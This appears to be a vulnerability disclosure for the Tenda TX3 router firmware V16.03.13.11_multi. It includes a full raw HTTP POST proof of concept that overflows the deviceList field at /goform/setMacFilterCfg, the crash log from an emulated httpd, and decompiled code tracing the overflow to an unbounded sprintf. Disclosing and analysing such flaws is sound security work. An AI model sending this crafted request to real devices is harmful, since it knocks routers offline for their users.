Vendor of the products: Tenda

Affected products: Tenda TX3 V16.03.13.11_multi

Hardware Link: https://www.tendacn.com/tw/download/detail-4015.html

Vulnerability Description

A buffer overflow vulnerability was discovered in Tenda TX3 V16.03.13.11_multi, triggered by the deviceList parameter at /goform/setMacFilterCfg. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted packet.

POC

send

Request

Pretty Raw Hex \n

```
POST /goform/setMacFilterCfg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1052
Origin: http://192.168.0.1
Connection: close
Referer:
http://192.168.0.1/mac_filter.html?random=0.21087686806639716&

macFilterType=black&deviceList=
aaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaa
aqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaa
bhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaa
bxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaa
coaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaa
dfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaa
dvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaa
emaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaa
fdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaa
ftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaa
gkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaa
hbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaa
hraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaa
iiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaa
iyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaa
jpaajqaajraajsaajtaajuaajvaajwaajxaajyaajsdAA:AA:AA:AA:AA:AA
```

You can see that the router has crashed.

```
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
[cgi:set_device_name:1758] device name setted failed![ aaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa
raaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaab
xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaad
eaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaae
kaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaaf
qaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaag
waagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaai
daaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaaj
jaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajsd : AA:AA:AA:AA:AA:AA ]
zsh: segmentation fault  sudo chroot ./ ./qemu-arm-static ./bin/httpd
```

Code in httpd

In the `formSetMacFilterCfg` function, the `websGetVar` function is first called to get the `deviceList` parameter and store it in `v4`.

```
49  memset(msg_info, 0, sizeof(msg_info));
50  v3 = websGetVar(wp, (char_t *)"macFilterType", (char_t *)&byte_7A45B);
51  c = set_macfilter_mode(v3);
52  if ( c )
53  {
54    printf(
55      "%s[%s:%s:%d] %sset mac filter mode error!\n\x1B[0m",
56      "\x1B[0;33m",
57      "cgi",
58      (const char *)_func___12473,
59      489,
60      "\x1B[0;31m");
61finished:
62    snprintf((char *)ret_buf, 0x100u, "{\"errCode\":%d}", c);
63    goto LABEL_83;
64  }
65  v4 = websGetVar(wp, (char_t *)"deviceList", (char_t *)&byte_7A45B);
66  memset(cgi_debug, 0, 0x12C0u);
67  memset(v41, 0, 0x10u);
68  if ( GetValue("cgi_debug", v41) && !strcmp("on", v41) )
69    printf("%s[%s:%s:%d] %sset macfilter rules\n\x1B[0m", "\x1B[0;33m", "cgi", "set_macfilter_rules", 689, "\x1B[0;32m");
70  if ( !strcmp((const char *)v3, "white") )
71  {
72    memset(cgi_debug, 0, 0x12C0u);
73    v29 = get_macfilter_rule(v3, (dev_info *const)cgi_debug);
74  }
75  else
76  {
77    v29 = 0;
78  }
```

Then, `v4` is passed to the `set_macfilter_rules_by_one` function.

```
126  if ( *v4 )
127  {
128    for ( k = 1; ; ++k )
129    {
130      v8 = strchr((const char *)v4, 10);
131      v9 = 32 * k;
132      if ( !v8 )
133        break;
134      format = v8 + 1;
135      v10 = k;
136      *v8 = 0;
137      set_macfilter_rules_by_one(v3, v4, v10, (unsigned __int8 *)&v41[v9]);
138      v4 = (char_t *)format;
139    }
140    set_macfilter_rules_by_one(v3, v4, k, (unsigned __int8 *)&v41[v9]);
141    memset(s, 0, sizeof(s));
142    memset(v37, 0, sizeof(v37));
143    memset(v35, 0, 0x10u);
144    if ( GetValue("cgi_debug", v35) && !strcmp("on", v35) )
145      printf(
```

The `set_device_name` function is called within the `set_macfilter_rules_by_one` function.

```
85    printf(
86      "%s[%s:%s:%d] %sset rule: %s == %s\n\x1B[0m",
87      "\x1B[0;33m",
88      "cgi",
89      (const char *)_func___12564,
90      782,
91      "\x1B[0;32m",
92      (const char *)mib_name,
93      (const char *)mib_value);
94  SetValue(mib_name, mib_value);
95  if ( dest[0] )
96    set_device_name((const unsigned __int8 *const)dest, cgi_debug);
97  return 0;
98}
```

Finally, in the `set_device_name` function, the `sprintf` function is used to receive the `dev_name` parameter without any length restriction, leading to a buffer overflow.

```
40          (const char *)dev_mac);
41        result = ERROR_HANDLED;
42      }
43      else
44      {
45        memset(cgi_debug, 0, sizeof(cgi_debug));
46        if ( GetValue("cgi_debug", cgi_debug) )
47        {
48          if ( !strcmp("on", (const char *)cgi_debug) )
49            printf(
50              "%s[%s:%s:%d] %sset device name %s == %s\n\x1B[0m",
51              "\x1B[0;33m",
52              "cgi",
53              (const char *)_func___12905,
54              1750,
55              "\x1B[0;32m",
56              (const char *)mac_addr,
57              (const char *)dev_name);
58        }
59        sprintf((char *)mib_name, "client.devicename%s", (const char *)mac_addr);
60        sprintf((char *)mib_vlaue, "%s\t1", (const char *)dev_name);
61        SetValue(mib_name, mib_vlaue);
62        result = RETVAL_SUCCESS;
63      }
64    }
65    return result;
66  }
```